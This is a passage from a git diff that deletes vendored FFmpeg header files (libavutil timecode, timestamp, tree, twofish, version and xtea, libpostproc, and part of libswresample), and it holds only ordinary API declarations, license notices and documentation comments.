av_timecode_adjust_ntsc_framenum2(). - * @note The frame number is relative to tc->start. - * @note Color frame (CF), binary group flags (BGF) and biphase mark polarity - * correction (PC) bits are set to zero. - */ -uint32_t av_timecode_get_smpte_from_framenum(const AVTimecode *tc, int framenum); - -/** - * Load timecode string in buf. - * - * @param buf destination buffer, must be at least AV_TIMECODE_STR_SIZE long - * @param tc timecode data correctly initialized - * @param framenum frame number - * @return the buf parameter - * - * @note Timecode representation can be a negative timecode and have more than - * 24 hours, but will only be honored if the flags are correctly set. - * @note The frame number is relative to tc->start. - */ -char *av_timecode_make_string(const AVTimecode *tc, char *buf, int framenum); - -/** - * Get the timecode string from the SMPTE timecode format. - * - * @param buf destination buffer, must be at least AV_TIMECODE_STR_SIZE long - * @param tcsmpte the 32-bit SMPTE timecode - * @param prevent_df prevent the use of a drop flag when it is known the DF bit - * is arbitrary - * @return the buf parameter - */ -char *av_timecode_make_smpte_tc_string(char *buf, uint32_t tcsmpte, int prevent_df); - -/** - * Get the timecode string from the 25-bit timecode format (MPEG GOP format). - * - * @param buf destination buffer, must be at least AV_TIMECODE_STR_SIZE long - * @param tc25bit the 25-bits timecode - * @return the buf parameter - */ -char *av_timecode_make_mpeg_tc_string(char *buf, uint32_t tc25bit); - -/** - * Init a timecode struct with the passed parameters. - * - * @param log_ctx a pointer to an arbitrary struct of which the first field - * is a pointer to an AVClass struct (used for av_log) - * @param tc pointer to an allocated AVTimecode - * @param rate frame rate in rational form - * @param flags miscellaneous flags such as drop frame, +24 hours, ... - * (see AVTimecodeFlag) - * @param frame_start the first frame number - * @return 0 on success, AVERROR otherwise - */ -int av_timecode_init(AVTimecode *tc, AVRational rate, int flags, int frame_start, void *log_ctx); - -/** - * Parse timecode representation (hh:mm:ss[:;.]ff). - * - * @param log_ctx a pointer to an arbitrary struct of which the first field is a - * pointer to an AVClass struct (used for av_log). - * @param tc pointer to an allocated AVTimecode - * @param rate frame rate in rational form - * @param str timecode string which will determine the frame start - * @return 0 on success, AVERROR otherwise - */ -int av_timecode_init_from_string(AVTimecode *tc, AVRational rate, const char *str, void *log_ctx); - -/** - * Check if the timecode feature is available for the given frame rate - * - * @return 0 if supported, <0 otherwise - */ -int av_timecode_check_frame_rate(AVRational rate); - -#endif /* AVUTIL_TIMECODE_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/timestamp.h b/desktop_3230/FFmpeg/include/libavutil/timestamp.h deleted file mode 100644 index f010a7e..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/timestamp.h +++ /dev/null @@ -1,78 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * timestamp utils, mostly useful for debugging/logging purposes - */ - -#ifndef AVUTIL_TIMESTAMP_H -#define AVUTIL_TIMESTAMP_H - -#include "common.h" - -#if defined(__cplusplus) && !defined(__STDC_FORMAT_MACROS) && !defined(PRId64) -#error missing -D__STDC_FORMAT_MACROS / #define __STDC_FORMAT_MACROS -#endif - -#define AV_TS_MAX_STRING_SIZE 32 - -/** - * Fill the provided buffer with a string containing a timestamp - * representation. - * - * @param buf a buffer with size in bytes of at least AV_TS_MAX_STRING_SIZE - * @param ts the timestamp to represent - * @return the buffer in input - */ -static inline char *av_ts_make_string(char *buf, int64_t ts) -{ - if (ts == AV_NOPTS_VALUE) snprintf(buf, AV_TS_MAX_STRING_SIZE, "NOPTS"); - else snprintf(buf, AV_TS_MAX_STRING_SIZE, "%"PRId64, ts); - return buf; -} - -/** - * Convenience macro, the return value should be used only directly in - * function arguments but never stand-alone. - */ -#define av_ts2str(ts) av_ts_make_string((char[AV_TS_MAX_STRING_SIZE]){0}, ts) - -/** - * Fill the provided buffer with a string containing a timestamp time - * representation. - * - * @param buf a buffer with size in bytes of at least AV_TS_MAX_STRING_SIZE - * @param ts the timestamp to represent - * @param tb the timebase of the timestamp - * @return the buffer in input - */ -static inline char *av_ts_make_time_string(char *buf, int64_t ts, AVRational *tb) -{ - if (ts == AV_NOPTS_VALUE) snprintf(buf, AV_TS_MAX_STRING_SIZE, "NOPTS"); - else snprintf(buf, AV_TS_MAX_STRING_SIZE, "%.6g", av_q2d(*tb) * ts); - return buf; -} - -/** - * Convenience macro, the return value should be used only directly in - * function arguments but never stand-alone. - */ -#define av_ts2timestr(ts, tb) av_ts_make_time_string((char[AV_TS_MAX_STRING_SIZE]){0}, ts, tb) - -#endif /* AVUTIL_TIMESTAMP_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/tree.h b/desktop_3230/FFmpeg/include/libavutil/tree.h deleted file mode 100644 index e1aefaa..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/tree.h +++ /dev/null @@ -1,138 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * A tree container. - * @author Michael Niedermayer - */ - -#ifndef AVUTIL_TREE_H -#define AVUTIL_TREE_H - -#include "attributes.h" -#include "version.h" - -/** - * @addtogroup lavu_tree AVTree - * @ingroup lavu_data - * - * Low-complexity tree container - * - * Insertion, removal, finding equal, largest which is smaller than and - * smallest which is larger than, all have O(log n) worst-case complexity. - * @{ - */ - - -struct AVTreeNode; -extern const int av_tree_node_size; - -/** - * Allocate an AVTreeNode. - */ -struct AVTreeNode *av_tree_node_alloc(void); - -/** - * Find an element. - * @param root a pointer to the root node of the tree - * @param next If next is not NULL, then next[0] will contain the previous - * element and next[1] the next element. If either does not exist, - * then the corresponding entry in next is unchanged. - * @param cmp compare function used to compare elements in the tree, - * API identical to that of Standard C's qsort - * It is guranteed that the first and only the first argument to cmp() - * will be the key parameter to av_tree_find(), thus it could if the - * user wants, be a different type (like an opaque context). - * @return An element with cmp(key, elem) == 0 or NULL if no such element - * exists in the tree. - */ -void *av_tree_find(const struct AVTreeNode *root, void *key, - int (*cmp)(const void *key, const void *b), void *next[2]); - -/** - * Insert or remove an element. - * - * If *next is NULL, then the supplied element will be removed if it exists. - * If *next is non-NULL, then the supplied element will be inserted, unless - * it already exists in the tree. - * - * @param rootp A pointer to a pointer to the root node of the tree; note that - * the root node can change during insertions, this is required - * to keep the tree balanced. - * @param key pointer to the element key to insert in the tree - * @param next Used to allocate and free AVTreeNodes. For insertion the user - * must set it to an allocated and zeroed object of at least - * av_tree_node_size bytes size. av_tree_insert() will set it to - * NULL if it has been consumed. - * For deleting elements *next is set to NULL by the user and - * av_tree_insert() will set it to the AVTreeNode which was - * used for the removed element. - * This allows the use of flat arrays, which have - * lower overhead compared to many malloced elements. - * You might want to define a function like: - * @code - * void *tree_insert(struct AVTreeNode **rootp, void *key, - * int (*cmp)(void *key, const void *b), - * AVTreeNode **next) - * { - * if (!*next) - * *next = av_mallocz(av_tree_node_size); - * return av_tree_insert(rootp, key, cmp, next); - * } - * void *tree_remove(struct AVTreeNode **rootp, void *key, - * int (*cmp)(void *key, const void *b, AVTreeNode **next)) - * { - * av_freep(next); - * return av_tree_insert(rootp, key, cmp, next); - * } - * @endcode - * @param cmp compare function used to compare elements in the tree, API identical - * to that of Standard C's qsort - * @return If no insertion happened, the found element; if an insertion or - * removal happened, then either key or NULL will be returned. - * Which one it is depends on the tree state and the implementation. You - * should make no assumptions that it's one or the other in the code. - */ -void *av_tree_insert(struct AVTreeNode **rootp, void *key, - int (*cmp)(const void *key, const void *b), - struct AVTreeNode **next); - -void av_tree_destroy(struct AVTreeNode *t); - -/** - * Apply enu(opaque, &elem) to all the elements in the tree in a given range. - * - * @param cmp a comparison function that returns < 0 for a element below the - * range, > 0 for a element above the range and == 0 for a - * element inside the range - * - * @note The cmp function should use the same ordering used to construct the - * tree. - */ -void av_tree_enumerate(struct AVTreeNode *t, void *opaque, - int (*cmp)(void *opaque, void *elem), - int (*enu)(void *opaque, void *elem)); - -/** - * @} - */ - -#endif /* AVUTIL_TREE_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/twofish.h b/desktop_3230/FFmpeg/include/libavutil/twofish.h deleted file mode 100644 index 813cfec..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/twofish.h +++ /dev/null @@ -1,70 +0,0 @@ -/* - * An implementation of the TwoFish algorithm - * Copyright (c) 2015 Supraja Meedinti - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_TWOFISH_H -#define AVUTIL_TWOFISH_H - -#include - - -/** - * @file - * @brief Public header for libavutil TWOFISH algorithm - * @defgroup lavu_twofish TWOFISH - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_twofish_size; - -struct AVTWOFISH; - -/** - * Allocate an AVTWOFISH context - * To free the struct: av_free(ptr) - */ -struct AVTWOFISH *av_twofish_alloc(void); - -/** - * Initialize an AVTWOFISH context. - * - * @param ctx an AVTWOFISH context - * @param key a key of size ranging from 1 to 32 bytes used for encryption/decryption - * @param key_bits number of keybits: 128, 192, 256 If less than the required, padded with zeroes to nearest valid value; return value is 0 if key_bits is 128/192/256, -1 if less than 0, 1 otherwise - */ -int av_twofish_init(struct AVTWOFISH *ctx, const uint8_t *key, int key_bits); - -/** - * Encrypt or decrypt a buffer using a previously initialized context - * - * @param ctx an AVTWOFISH context - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param count number of 16 byte blocks - * @paran iv initialization vector for CBC mode, NULL for ECB mode - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_twofish_crypt(struct AVTWOFISH *ctx, uint8_t *dst, const uint8_t *src, int count, uint8_t* iv, int decrypt); - -/** - * @} - */ -#endif /* AVUTIL_TWOFISH_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/version.h b/desktop_3230/FFmpeg/include/libavutil/version.h deleted file mode 100644 index 0ea8c79..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/version.h +++ /dev/null @@ -1,128 +0,0 @@ -/* - * copyright (c) 2003 Fabrice Bellard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_VERSION_H -#define AVUTIL_VERSION_H - -#include "macros.h" - -/** - * @addtogroup version_utils - * - * Useful to check and match library version in order to maintain - * backward compatibility. - * - * @{ - */ - -#define AV_VERSION_INT(a, b, c) ((a)<<16 | (b)<<8 | (c)) -#define AV_VERSION_DOT(a, b, c) a ##.## b ##.## c -#define AV_VERSION(a, b, c) AV_VERSION_DOT(a, b, c) - -/** - * Extract version components from the full ::AV_VERSION_INT int as returned - * by functions like ::avformat_version() and ::avcodec_version() - */ -#define AV_VERSION_MAJOR(a) ((a) >> 16) -#define AV_VERSION_MINOR(a) (((a) & 0x00FF00) >> 8) -#define AV_VERSION_MICRO(a) ((a) & 0xFF) - -/** - * @} - */ - -/** - * @file - * @ingroup lavu - * Libavutil version macros - */ - -/** - * @defgroup lavu_ver Version and Build diagnostics - * - * Macros and function useful to check at compiletime and at runtime - * which version of libavutil is in use. - * - * @{ - */ - -#define LIBAVUTIL_VERSION_MAJOR 55 -#define LIBAVUTIL_VERSION_MINOR 17 -#define LIBAVUTIL_VERSION_MICRO 103 - -#define LIBAVUTIL_VERSION_INT AV_VERSION_INT(LIBAVUTIL_VERSION_MAJOR, \ - LIBAVUTIL_VERSION_MINOR, \ - LIBAVUTIL_VERSION_MICRO) -#define LIBAVUTIL_VERSION AV_VERSION(LIBAVUTIL_VERSION_MAJOR, \ - LIBAVUTIL_VERSION_MINOR, \ - LIBAVUTIL_VERSION_MICRO) -#define LIBAVUTIL_BUILD LIBAVUTIL_VERSION_INT - -#define LIBAVUTIL_IDENT "Lavu" AV_STRINGIFY(LIBAVUTIL_VERSION) - -/** - * @} - * - * @defgroup depr_guards Deprecation guards - * FF_API_* defines may be placed below to indicate public API that will be - * dropped at a future version bump. The defines themselves are not part of - * the public API and may change, break or disappear at any time. - * - * @note, when bumping the major version it is recommended to manually - * disable each FF_API_* in its own commit instead of disabling them all - * at once through the bump. This improves the git bisect-ability of the change. - * - * @{ - */ - -#ifndef FF_API_VDPAU -#define FF_API_VDPAU (LIBAVUTIL_VERSION_MAJOR < 56) -#endif -#ifndef FF_API_XVMC -#define FF_API_XVMC (LIBAVUTIL_VERSION_MAJOR < 56) -#endif -#ifndef FF_API_OPT_TYPE_METADATA -#define FF_API_OPT_TYPE_METADATA (LIBAVUTIL_VERSION_MAJOR < 56) -#endif -#ifndef FF_API_DLOG -#define FF_API_DLOG (LIBAVUTIL_VERSION_MAJOR < 56) -#endif -#ifndef FF_API_VAAPI -#define FF_API_VAAPI (LIBAVUTIL_VERSION_MAJOR < 56) -#endif -#ifndef FF_API_FRAME_QP -#define FF_API_FRAME_QP (LIBAVUTIL_VERSION_MAJOR < 56) -#endif -#ifndef FF_API_PLUS1_MINUS1 -#define FF_API_PLUS1_MINUS1 (LIBAVUTIL_VERSION_MAJOR < 56) -#endif -#ifndef FF_API_ERROR_FRAME -#define FF_API_ERROR_FRAME (LIBAVUTIL_VERSION_MAJOR < 56) -#endif -#ifndef FF_API_CRC_BIG_TABLE -#define FF_API_CRC_BIG_TABLE (LIBAVUTIL_VERSION_MAJOR < 56) -#endif - - -/** - * @} - */ - -#endif /* AVUTIL_VERSION_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/xtea.h b/desktop_3230/FFmpeg/include/libavutil/xtea.h deleted file mode 100644 index 735427c..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/xtea.h +++ /dev/null @@ -1,94 +0,0 @@ -/* - * A 32-bit implementation of the XTEA algorithm - * Copyright (c) 2012 Samuel Pitoiset - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_XTEA_H -#define AVUTIL_XTEA_H - -#include - -/** - * @file - * @brief Public header for libavutil XTEA algorithm - * @defgroup lavu_xtea XTEA - * @ingroup lavu_crypto - * @{ - */ - -typedef struct AVXTEA { - uint32_t key[16]; -} AVXTEA; - -/** - * Allocate an AVXTEA context. - */ -AVXTEA *av_xtea_alloc(void); - -/** - * Initialize an AVXTEA context. - * - * @param ctx an AVXTEA context - * @param key a key of 16 bytes used for encryption/decryption, - * interpreted as big endian 32 bit numbers - */ -void av_xtea_init(struct AVXTEA *ctx, const uint8_t key[16]); - -/** - * Initialize an AVXTEA context. - * - * @param ctx an AVXTEA context - * @param key a key of 16 bytes used for encryption/decryption, - * interpreted as little endian 32 bit numbers - */ -void av_xtea_le_init(struct AVXTEA *ctx, const uint8_t key[16]); - -/** - * Encrypt or decrypt a buffer using a previously initialized context, - * in big endian format. - * - * @param ctx an AVXTEA context - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param count number of 8 byte blocks - * @param iv initialization vector for CBC mode, if NULL then ECB will be used - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_xtea_crypt(struct AVXTEA *ctx, uint8_t *dst, const uint8_t *src, - int count, uint8_t *iv, int decrypt); - -/** - * Encrypt or decrypt a buffer using a previously initialized context, - * in little endian format. - * - * @param ctx an AVXTEA context - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param count number of 8 byte blocks - * @param iv initialization vector for CBC mode, if NULL then ECB will be used - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_xtea_le_crypt(struct AVXTEA *ctx, uint8_t *dst, const uint8_t *src, - int count, uint8_t *iv, int decrypt); - -/** - * @} - */ - -#endif /* AVUTIL_XTEA_H */ diff --git a/desktop_3230/FFmpeg/include/libpostproc/postprocess.h b/desktop_3230/FFmpeg/include/libpostproc/postprocess.h deleted file mode 100644 index 2b55ed6..0000000 --- a/desktop_3230/FFmpeg/include/libpostproc/postprocess.h +++ /dev/null @@ -1,109 +0,0 @@ -/* - * Copyright (C) 2001-2003 Michael Niedermayer (michaelni@gmx.at) - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef POSTPROC_POSTPROCESS_H -#define POSTPROC_POSTPROCESS_H - -/** - * @file - * @ingroup lpp - * external API header - */ - -/** - * @defgroup lpp Libpostproc - * @{ - */ - -#include "libpostproc/version.h" - -/** - * Return the LIBPOSTPROC_VERSION_INT constant. - */ -unsigned postproc_version(void); - -/** - * Return the libpostproc build-time configuration. - */ -const char *postproc_configuration(void); - -/** - * Return the libpostproc license. - */ -const char *postproc_license(void); - -#define PP_QUALITY_MAX 6 - -#if FF_API_QP_TYPE -#define QP_STORE_T int8_t //deprecated -#endif - -#include - -typedef void pp_context; -typedef void pp_mode; - -#if LIBPOSTPROC_VERSION_INT < (52<<16) -typedef pp_context pp_context_t; -typedef pp_mode pp_mode_t; -extern const char *const pp_help; ///< a simple help text -#else -extern const char pp_help[]; ///< a simple help text -#endif - -void pp_postprocess(const uint8_t * src[3], const int srcStride[3], - uint8_t * dst[3], const int dstStride[3], - int horizontalSize, int verticalSize, - const int8_t *QP_store, int QP_stride, - pp_mode *mode, pp_context *ppContext, int pict_type); - - -/** - * Return a pp_mode or NULL if an error occurred. - * - * @param name the string after "-pp" on the command line - * @param quality a number from 0 to PP_QUALITY_MAX - */ -pp_mode *pp_get_mode_by_name_and_quality(const char *name, int quality); -void pp_free_mode(pp_mode *mode); - -pp_context *pp_get_context(int width, int height, int flags); -void pp_free_context(pp_context *ppContext); - -#define PP_CPU_CAPS_MMX 0x80000000 -#define PP_CPU_CAPS_MMX2 0x20000000 -#define PP_CPU_CAPS_3DNOW 0x40000000 -#define PP_CPU_CAPS_ALTIVEC 0x10000000 -#define PP_CPU_CAPS_AUTO 0x00080000 - -#define PP_FORMAT 0x00000008 -#define PP_FORMAT_420 (0x00000011|PP_FORMAT) -#define PP_FORMAT_422 (0x00000001|PP_FORMAT) -#define PP_FORMAT_411 (0x00000002|PP_FORMAT) -#define PP_FORMAT_444 (0x00000000|PP_FORMAT) -#define PP_FORMAT_440 (0x00000010|PP_FORMAT) - -#define PP_PICT_TYPE_QP2 0x00000010 ///< MPEG2 style QScale - -/** - * @} - */ - -#endif /* POSTPROC_POSTPROCESS_H */ diff --git a/desktop_3230/FFmpeg/include/libpostproc/version.h b/desktop_3230/FFmpeg/include/libpostproc/version.h deleted file mode 100644 index 8f62582..0000000 --- a/desktop_3230/FFmpeg/include/libpostproc/version.h +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Version macros. - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef POSTPROC_VERSION_H -#define POSTPROC_VERSION_H - -/** - * @file - * Libpostproc version macros - */ - -#include "libavutil/avutil.h" - -#define LIBPOSTPROC_VERSION_MAJOR 54 -#define LIBPOSTPROC_VERSION_MINOR 0 -#define LIBPOSTPROC_VERSION_MICRO 100 - -#define LIBPOSTPROC_VERSION_INT AV_VERSION_INT(LIBPOSTPROC_VERSION_MAJOR, \ - LIBPOSTPROC_VERSION_MINOR, \ - LIBPOSTPROC_VERSION_MICRO) -#define LIBPOSTPROC_VERSION AV_VERSION(LIBPOSTPROC_VERSION_MAJOR, \ - LIBPOSTPROC_VERSION_MINOR, \ - LIBPOSTPROC_VERSION_MICRO) -#define LIBPOSTPROC_BUILD LIBPOSTPROC_VERSION_INT - -#define LIBPOSTPROC_IDENT "postproc" AV_STRINGIFY(LIBPOSTPROC_VERSION) - -#ifndef FF_API_QP_TYPE -#define FF_API_QP_TYPE (LIBPOSTPROC_VERSION_MAJOR < 55) -#endif - -#endif /* POSTPROC_VERSION_H */ diff --git a/desktop_3230/FFmpeg/include/libswresample/swresample.h b/desktop_3230/FFmpeg/include/libswresample/swresample.h deleted file mode 100644 index 10eaebc..0000000 --- a/desktop_3230/FFmpeg/include/libswresample/swresample.h +++ /dev/null @@ -1,553 +0,0 @@ -/* - * Copyright (C) 2011-2013 Michael Niedermayer (michaelni@gmx.at) - * - * This file is part of libswresample - * - * libswresample is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * libswresample is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with libswresample; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef SWRESAMPLE_SWRESAMPLE_H -#define SWRESAMPLE_SWRESAMPLE_H - -/** - * @file - * @ingroup lswr - * libswresample public header - */ - -/** - * @defgroup lswr Libswresample - * @{ - * - * Libswresample (lswr) is a library that handles audio resampling, sample - * format conversion and mixing. - * - * Interaction with lswr is done through SwrContext, which is - * allocated with swr_alloc() or swr_alloc_set_opts(). It is opaque, so all parameters - * must be set with the @ref avoptions API. - * - * The first thing you will need to do in order to use lswr is to allocate - * SwrContext. This can be done with swr_alloc() or swr_alloc_set_opts(). If you - * are using the former, you must set options through the @ref avoptions API. - * The latter function provides the same feature, but it allows you to set some - * common options in the same statement. - * - * For example the following code will setup conversion from planar float sample - * format to interleaved signed 16-bit integer, downsampling from 48kHz to - * 44.1kHz and downmixing from 5.1 channels to stereo (using the default mixing - * matrix). This is using the swr_alloc() function. - * @code - * SwrContext *swr = swr_alloc(); - * av_opt_set_channel_layout(swr, "in_channel_layout", AV_CH_LAYOUT_5POINT1, 0); - * av_opt_set_channel_layout(swr, "out_channel_layout", AV_CH_LAYOUT_STEREO, 0); - * av_opt_set_int(swr, "in_sample_rate", 48000, 0); - * av_opt_set_int(swr, "out_sample_rate", 44100, 0); - * av_opt_set_sample_fmt(swr, "in_sample_fmt", AV_SAMPLE_FMT_FLTP, 0); - * av_opt_set_sample_fmt(swr, "out_sample_fmt", AV_SAMPLE_FMT_S16, 0); - * @endcode - * - * The same job can be done using swr_alloc_set_opts() as well: - * @code - * SwrContext *swr = swr_alloc_set_opts(NULL, // we're allocating a new context - * AV_CH_LAYOUT_STEREO, // out_ch_layout - * AV_SAMPLE_FMT_S16, // out_sample_fmt - * 44100, // out_sample_rate - * AV_CH_LAYOUT_5POINT1, // in_ch_layout - * AV_SAMPLE_FMT_FLTP, // in_sample_fmt - * 48000, // in_sample_rate - * 0, // log_offset - * NULL); // log_ctx - * @endcode - * - * Once all values have been set, it must be initialized with swr_init(). If - * you need to change the conversion parameters, you can change the parameters - * using @ref AVOptions, as described above in the first example; or by using - * swr_alloc_set_opts(), but with the first argument the allocated context. - * You must then call swr_init() again. - * - * The conversion itself is done by repeatedly calling swr_convert(). - * Note that the samples may get buffered in swr if you provide insufficient - * output space or if sample rate conversion is done, which requires "future" - * samples. Samples that do not require future input can be retrieved at any - * time by using swr_convert() (in_count can be set to 0). - * At the end of conversion the resampling buffer can be flushed by calling - * swr_convert() with NULL in and 0 in_count. - * - * The samples used in the conversion process can be managed with the libavutil - * @ref lavu_sampmanip "samples manipulation" API, including av_samples_alloc() - * function used in the following example. - * - * The delay between input and output, can at any time be found by using - * swr_get_delay(). - * - * The following code demonstrates the conversion loop assuming the parameters - * from above and caller-defined functions get_input() and handle_output(): - * @code - * uint8_t **input; - * int in_samples; - * - * while (get_input(&input, &in_samples)) { - * uint8_t *output; - * int out_samples = av_rescale_rnd(swr_get_delay(swr, 48000) + - * in_samples, 44100, 48000, AV_ROUND_UP); - * av_samples_alloc(&output, NULL, 2, out_samples, - * AV_SAMPLE_FMT_S16, 0); - * out_samples = swr_convert(swr, &output, out_samples, - * input, in_samples); - * handle_output(output, out_samples); - * av_freep(&output); - * } - * @endcode - * - * When the conversion is finished, the conversion - * context and everything associated with it must be freed with swr_free(). - * A swr_close() function is also available, but it exists mainly for - * compatibility with libavresample, and is not required to be called. - * - * There will be no memory leak if the data is not completely flushed before - * swr_free(). - */ - -#include -#include "libavutil/frame.h" -#include "libavutil/samplefmt.h" - -#include "libswresample/version.h" - -#if LIBSWRESAMPLE_VERSION_MAJOR < 1 -#define SWR_CH_MAX 32 ///< Maximum number of channels -#endif - -/** - * @name Option constants - * These constants are used for the @ref avoptions interface for lswr. - * @{ - * - */ - -#define SWR_FLAG_RESAMPLE 1 ///< Force resampling even if equal sample rate -//TODO use int resample ? -//long term TODO can we enable this dynamically? - -/** Dithering algorithms */ -enum SwrDitherType { - SWR_DITHER_NONE = 0, - SWR_DITHER_RECTANGULAR, - SWR_DITHER_TRIANGULAR, - SWR_DITHER_TRIANGULAR_HIGHPASS, - - SWR_DITHER_NS = 64, ///< not part of API/ABI - SWR_DITHER_NS_LIPSHITZ, - SWR_DITHER_NS_F_WEIGHTED, - SWR_DITHER_NS_MODIFIED_E_WEIGHTED, - SWR_DITHER_NS_IMPROVED_E_WEIGHTED, - SWR_DITHER_NS_SHIBATA, - SWR_DITHER_NS_LOW_SHIBATA, - SWR_DITHER_NS_HIGH_SHIBATA, - SWR_DITHER_NB, ///< not part of API/ABI -}; - -/** Resampling Engines */ -enum SwrEngine { - SWR_ENGINE_SWR, /**< SW Resampler */ - SWR_ENGINE_SOXR, /**< SoX Resampler */ - SWR_ENGINE_NB, ///< not part of API/ABI -}; - -/** Resampling Filter Types */ -enum SwrFilterType { - SWR_FILTER_TYPE_CUBIC, /**< Cubic */ - SWR_FILTER_TYPE_BLACKMAN_NUTTALL, /**< Blackman Nuttall windowed sinc */ - SWR_FILTER_TYPE_KAISER, /**< Kaiser windowed sinc */ -}; - -/** - * @} - */ - -/** - * The libswresample context. Unlike libavcodec and libavformat, this structure - * is opaque. This means that if you would like to set options, you must use - * the @ref avoptions API and cannot directly set values to members of the - * structure. - */ -typedef struct SwrContext SwrContext; - -/** - * Get the AVClass for SwrContext. It can be used in combination with - * AV_OPT_SEARCH_FAKE_OBJ for examining options. - * - * @see av_opt_find(). - * @return the AVClass of SwrContext - */ -const AVClass *swr_get_class(void); - -/** - * @name SwrContext constructor functions - * @{ - */ - -/** - * Allocate SwrContext. - * - * If you use this function you will need to set the parameters (manually or - * with swr_alloc_set_opts()) before calling swr_init(). - * - * @see swr_alloc_set_opts(), swr_init(), swr_free() - * @return NULL on error, allocated context otherwise - */ -struct SwrContext *swr_alloc(void); - -/** - * Initialize context after user parameters have been set. - * @note The context must be configured using the AVOption API. - * - * @see av_opt_set_int() - * @see 